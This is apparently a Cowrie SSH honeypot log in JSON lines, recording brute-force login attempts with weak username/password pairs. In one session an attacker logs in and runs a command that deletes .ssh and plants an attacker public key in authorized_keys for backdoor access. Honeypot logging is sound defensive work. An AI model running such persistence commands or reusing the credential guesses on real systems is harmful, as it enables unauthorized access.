{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:31.505515Z","src_ip":"103.4.145.50","session":"537a6804d1c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456@","message":"login attempt [ubuntu/aA123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:32.567350Z","src_ip":"103.4.145.50","session":"537a6804d1c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:33.828562Z","src_ip":"103.4.145.50","session":"537a6804d1c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":35924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f46638920a50","protocol":"ssh","message":"New connection: 107.150.103.210:35924 (10.17.0.5:22) [session: f46638920a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:11.421078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:11.426536Z","src_ip":"107.150.103.210","session":"f46638920a50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:11.497501Z","src_ip":"107.150.103.210","session":"f46638920a50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest3","password":"guest123","message":"login attempt [guest3/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:11.812564Z","src_ip":"107.150.103.210","session":"f46638920a50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:12.886629Z","src_ip":"107.150.103.210","session":"f46638920a50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":47207,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7f35a58eac6","protocol":"ssh","message":"New connection: 124.7.227.98:47207 (159.203.135.109:22) [session: c7f35a58eac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:19.617835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:19.622372Z","src_ip":"124.7.227.98","session":"c7f35a58eac6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:19.840866Z","src_ip":"124.7.227.98","session":"c7f35a58eac6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"P@ssw0rd","message":"login attempt [admin01/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:20.751015Z","src_ip":"124.7.227.98","session":"c7f35a58eac6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:21.972335Z","src_ip":"124.7.227.98","session":"c7f35a58eac6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":43120,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c53caf9b255","protocol":"ssh","message":"New connection: 103.4.145.50:43120 (10.17.0.5:22) [session: 3c53caf9b255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:38.664978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:38.669940Z","src_ip":"103.4.145.50","session":"3c53caf9b255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:38.929735Z","src_ip":"103.4.145.50","session":"3c53caf9b255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Passw0rd123","message":"login attempt [user/Passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:39.990895Z","src_ip":"103.4.145.50","session":"3c53caf9b255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:30:41.255262Z","src_ip":"103.4.145.50","session":"3c53caf9b255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":51847,"dst_ip":"159.203.135.109","dst_port":22,"session":"1251a7d5f91e","protocol":"ssh","message":"New connection: 124.7.227.98:51847 (159.203.135.109:22) [session: 1251a7d5f91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:07.324564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:07.329829Z","src_ip":"124.7.227.98","session":"1251a7d5f91e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:07.547421Z","src_ip":"124.7.227.98","session":"1251a7d5f91e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root#2024","message":"login attempt [root/Root#2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:08.450971Z","src_ip":"124.7.227.98","session":"1251a7d5f91e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:09.671812Z","src_ip":"124.7.227.98","session":"1251a7d5f91e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":3096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b8828d02ad","protocol":"ssh","message":"New connection: 107.150.103.210:3096 (10.17.0.5:22) [session: e7b8828d02ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:24.953529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:24.958453Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.026804Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Passw0rd","message":"login attempt [oracle/Passw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.331753Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.519305Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.522343Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.526645Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.600792Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.781892Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.785326Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.859453Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:25.863138Z","src_ip":"107.150.103.210","session":"e7b8828d02ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":3100,"dst_ip":"10.17.0.5","dst_port":22,"session":"746e46a48294","protocol":"ssh","message":"New connection: 107.150.103.210:3100 (10.17.0.5:22) [session: 746e46a48294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:26.953589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:26.959448Z","src_ip":"107.150.103.210","session":"746e46a48294","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:27.031991Z","src_ip":"107.150.103.210","session":"746e46a48294","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:27.346752Z","src_ip":"107.150.103.210","session":"746e46a48294","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:28.421527Z","src_ip":"107.150.103.210","session":"746e46a48294","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":48648,"dst_ip":"10.17.0.5","dst_port":22,"session":"998493b52a91","protocol":"ssh","message":"New connection: 107.150.103.210:48648 (10.17.0.5:22) [session: 998493b52a91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:31:29.513295Z"}
